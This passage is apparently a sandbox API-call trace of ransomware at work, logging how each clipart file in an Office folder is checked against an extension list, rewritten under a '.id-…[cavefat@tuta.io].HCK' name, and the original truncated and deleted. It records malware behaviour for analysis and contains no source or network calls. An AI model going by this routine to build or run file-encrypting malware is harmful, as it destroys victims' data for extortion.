Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF") returned 68 [0236.807] lstrlenW (lpString=".zip") returned 4 [0236.807] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0236.807] lstrlenW (lpString=".rar") returned 4 [0236.807] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0236.807] lstrlenW (lpString=".bz2") returned 4 [0236.807] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0236.807] lstrlenW (lpString=".7z") returned 3 [0236.807] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0236.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF") returned 68 [0236.807] lstrlenW (lpString=".dbf") returned 4 [0236.807] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0236.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF") returned 68 [0236.807] lstrlenW (lpString=".1cd") returned 4 [0236.807] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0236.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF") returned 68 [0236.807] lstrlenW (lpString=".jpg") returned 4 [0236.807] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0236.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF") returned 68 [0236.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF") returned 68 [0236.807] lstrlenW (lpString=".doc") returned 4 [0236.807] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0236.807] lstrlenW (lpString=".docx") returned 5 [0236.807] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0236.807] lstrlenW (lpString=".pdf") returned 4 [0236.807] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0236.807] lstrlenW (lpString=".xls") returned 4 [0236.807] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0236.807] lstrlenW (lpString=".xlsx") returned 5 [0236.807] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0236.807] lstrlenW (lpString=".ppt") returned 4 [0236.807] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0236.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF") returned 68 [0236.807] lstrlenW (lpString=".zip") returned 4 [0236.807] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0236.807] lstrlenW (lpString=".rar") returned 4 [0236.807] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0236.807] lstrlenW (lpString=".bz2") returned 4 [0236.807] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0236.807] lstrlenW (lpString=".7z") returned 3 [0236.807] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0236.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF") returned 68 [0236.807] lstrlenW (lpString=".dbf") returned 4 [0236.807] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0236.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF") returned 68 [0236.808] lstrlenW (lpString=".1cd") returned 4 [0236.808] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0236.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF") returned 68 [0236.808] lstrlenW (lpString=".jpg") returned 4 [0236.808] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0236.808] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0236.808] lstrlenW (lpString="J0151047.WMF") returned 12 [0236.808] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151047.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0236.808] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=18500) returned 1 [0236.808] CloseHandle (hObject=0x568) returned 1 [0236.809] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151047.wmf")) returned 0x220 [0236.809] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151047.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0236.809] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151047.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0236.809] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.809] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.809] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151047.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0236.810] GetLastError () returned 0x0 [0236.810] ReadFile (in: hFile=0x568, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x4844, lpOverlapped=0x0) returned 1 [0236.812] WriteFile (in: hFile=0x56c, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0x4850, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0x4850, lpOverlapped=0x0) returned 1 [0236.814] ReadFile (in: hFile=0x568, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0236.815] WriteFile (in: hFile=0x56c, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0236.815] SetEndOfFile (hFile=0x56c) returned 1 [0236.815] CloseHandle (hObject=0x56c) returned 1 [0236.815] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.815] SetEndOfFile (hFile=0x568) returned 1 [0236.817] CloseHandle (hObject=0x568) returned 1 [0236.818] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0236.818] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151047.wmf")) returned 1 [0236.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF") returned 68 [0236.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF") returned 68 [0236.819] lstrlenW (lpString=".doc") returned 4 [0236.819] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0236.819] lstrlenW (lpString=".docx") returned 5 [0236.819] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0236.819] lstrlenW (lpString=".pdf") returned 4 [0236.819] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0236.819] lstrlenW (lpString=".xls") returned 4 [0236.819] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0236.819] lstrlenW (lpString=".xlsx") returned 5 [0236.819] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0236.819] lstrlenW (lpString=".ppt") returned 4 [0236.819] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0236.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF") returned 68 [0236.819] lstrlenW (lpString=".zip") returned 4 [0236.819] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0236.819] lstrlenW (lpString=".rar") returned 4 [0236.819] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0236.819] lstrlenW (lpString=".bz2") returned 4 [0236.819] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0236.819] lstrlenW (lpString=".7z") returned 3 [0236.819] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0236.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF") returned 68 [0236.819] lstrlenW (lpString=".dbf") returned 4 [0236.819] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0236.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF") returned 68 [0236.820] lstrlenW (lpString=".1cd") returned 4 [0236.820] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0236.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF") returned 68 [0236.820] lstrlenW (lpString=".jpg") returned 4 [0236.820] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0236.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF") returned 68 [0236.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF") returned 68 [0236.820] lstrlenW (lpString=".doc") returned 4 [0236.820] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0236.820] lstrlenW (lpString=".docx") returned 5 [0236.820] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0236.820] lstrlenW (lpString=".pdf") returned 4 [0236.820] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0236.820] lstrlenW (lpString=".xls") returned 4 [0236.820] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0236.820] lstrlenW (lpString=".xlsx") returned 5 [0236.820] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0236.820] lstrlenW (lpString=".ppt") returned 4 [0236.820] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0236.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF") returned 68 [0236.820] lstrlenW (lpString=".zip") returned 4 [0236.820] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0236.820] lstrlenW (lpString=".rar") returned 4 [0236.820] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0236.820] lstrlenW (lpString=".bz2") returned 4 [0236.820] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0236.820] lstrlenW (lpString=".7z") returned 3 [0236.820] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0236.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF") returned 68 [0236.820] lstrlenW (lpString=".dbf") returned 4 [0236.820] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0236.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF") returned 68 [0236.820] lstrlenW (lpString=".1cd") returned 4 [0236.820] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0236.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF") returned 68 [0236.820] lstrlenW (lpString=".jpg") returned 4 [0236.820] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0236.820] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0236.820] lstrlenW (lpString="J0151055.WMF") returned 12 [0236.820] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151055.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0236.821] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=14632) returned 1 [0236.821] CloseHandle (hObject=0x568) returned 1 [0236.821] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151055.wmf")) returned 0x220 [0236.821] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151055.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0236.821] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151055.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0236.822] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.822] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.822] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151055.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0236.823] GetLastError () returned 0x0 [0236.823] ReadFile (in: hFile=0x568, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x3928, lpOverlapped=0x0) returned 1 [0236.824] WriteFile (in: hFile=0x56c, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0x3930, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0x3930, lpOverlapped=0x0) returned 1 [0236.825] ReadFile (in: hFile=0x568, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0236.825] WriteFile (in: hFile=0x56c, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0236.825] SetEndOfFile (hFile=0x56c) returned 1 [0236.825] CloseHandle (hObject=0x56c) returned 1 [0236.826] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.826] SetEndOfFile (hFile=0x568) returned 1 [0236.828] CloseHandle (hObject=0x568) returned 1 [0236.828] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0236.828] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151055.wmf")) returned 1 [0236.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF") returned 68 [0236.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF") returned 68 [0236.829] lstrlenW (lpString=".doc") returned 4 [0236.829] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0236.829] lstrlenW (lpString=".docx") returned 5 [0236.829] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0236.829] lstrlenW (lpString=".pdf") returned 4 [0236.829] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0236.829] lstrlenW (lpString=".xls") returned 4 [0236.829] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0236.829] lstrlenW (lpString=".xlsx") returned 5 [0236.829] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0236.829] lstrlenW (lpString=".ppt") returned 4 [0236.829] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0236.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF") returned 68 [0236.829] lstrlenW (lpString=".zip") returned 4 [0236.829] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0236.829] lstrlenW (lpString=".rar") returned 4 [0236.829] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0236.829] lstrlenW (lpString=".bz2") returned 4 [0236.829] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0236.829] lstrlenW (lpString=".7z") returned 3 [0236.829] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0236.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF") returned 68 [0236.830] lstrlenW (lpString=".dbf") returned 4 [0236.830] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0236.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF") returned 68 [0236.830] lstrlenW (lpString=".1cd") returned 4 [0236.830] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0236.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF") returned 68 [0236.830] lstrlenW (lpString=".jpg") returned 4 [0236.830] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0236.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF") returned 68 [0236.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF") returned 68 [0236.830] lstrlenW (lpString=".doc") returned 4 [0236.830] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0236.830] lstrlenW (lpString=".docx") returned 5 [0236.830] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0236.830] lstrlenW (lpString=".pdf") returned 4 [0236.830] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0236.830] lstrlenW (lpString=".xls") returned 4 [0236.830] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0236.830] lstrlenW (lpString=".xlsx") returned 5 [0236.830] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0236.830] lstrlenW (lpString=".ppt") returned 4 [0236.830] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0236.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF") returned 68 [0236.830] lstrlenW (lpString=".zip") returned 4 [0236.830] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0236.830] lstrlenW (lpString=".rar") returned 4 [0236.830] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0236.830] lstrlenW (lpString=".bz2") returned 4 [0236.830] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0236.830] lstrlenW (lpString=".7z") returned 3 [0236.830] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0236.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF") returned 68 [0236.830] lstrlenW (lpString=".dbf") returned 4 [0236.830] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0236.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF") returned 68 [0236.830] lstrlenW (lpString=".1cd") returned 4 [0236.830] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0236.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF") returned 68 [0236.830] lstrlenW (lpString=".jpg") returned 4 [0236.830] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0236.830] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0236.830] lstrlenW (lpString="J0151061.WMF") returned 12 [0236.831] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151061.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0237.123] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=6752) returned 1 [0237.123] CloseHandle (hObject=0x568) returned 1 [0237.124] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151061.wmf")) returned 0x220 [0237.124] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151061.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0237.124] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151061.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0237.124] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0237.124] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0237.124] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151061.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0237.125] GetLastError () returned 0x0 [0237.125] ReadFile (in: hFile=0x568, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x1a60, lpOverlapped=0x0) returned 1 [0237.127] WriteFile (in: hFile=0x3c4, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0x1a70, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0x1a70, lpOverlapped=0x0) returned 1 [0237.127] ReadFile (in: hFile=0x568, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0237.127] WriteFile (in: hFile=0x3c4, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0237.128] SetEndOfFile (hFile=0x3c4) returned 1 [0237.128] CloseHandle (hObject=0x3c4) returned 1 [0237.128] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0237.128] SetEndOfFile (hFile=0x568) returned 1 [0237.130] CloseHandle (hObject=0x568) returned 1 [0237.130] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0237.130] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151061.wmf")) returned 1 [0237.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF") returned 68 [0237.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF") returned 68 [0237.131] lstrlenW (lpString=".doc") returned 4 [0237.131] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0237.131] lstrlenW (lpString=".docx") returned 5 [0237.132] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0237.132] lstrlenW (lpString=".pdf") returned 4 [0237.132] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0237.132] lstrlenW (lpString=".xls") returned 4 [0237.132] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0237.132] lstrlenW (lpString=".xlsx") returned 5 [0237.132] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0237.132] lstrlenW (lpString=".ppt") returned 4 [0237.132] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0237.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF") returned 68 [0237.132] lstrlenW (lpString=".zip") returned 4 [0237.132] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0237.132] lstrlenW (lpString=".rar") returned 4 [0237.132] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0237.132] lstrlenW (lpString=".bz2") returned 4 [0237.132] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0237.132] lstrlenW (lpString=".7z") returned 3 [0237.132] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0237.132] lstrlenW (lpString="C:\\Program Files\\Microsoft 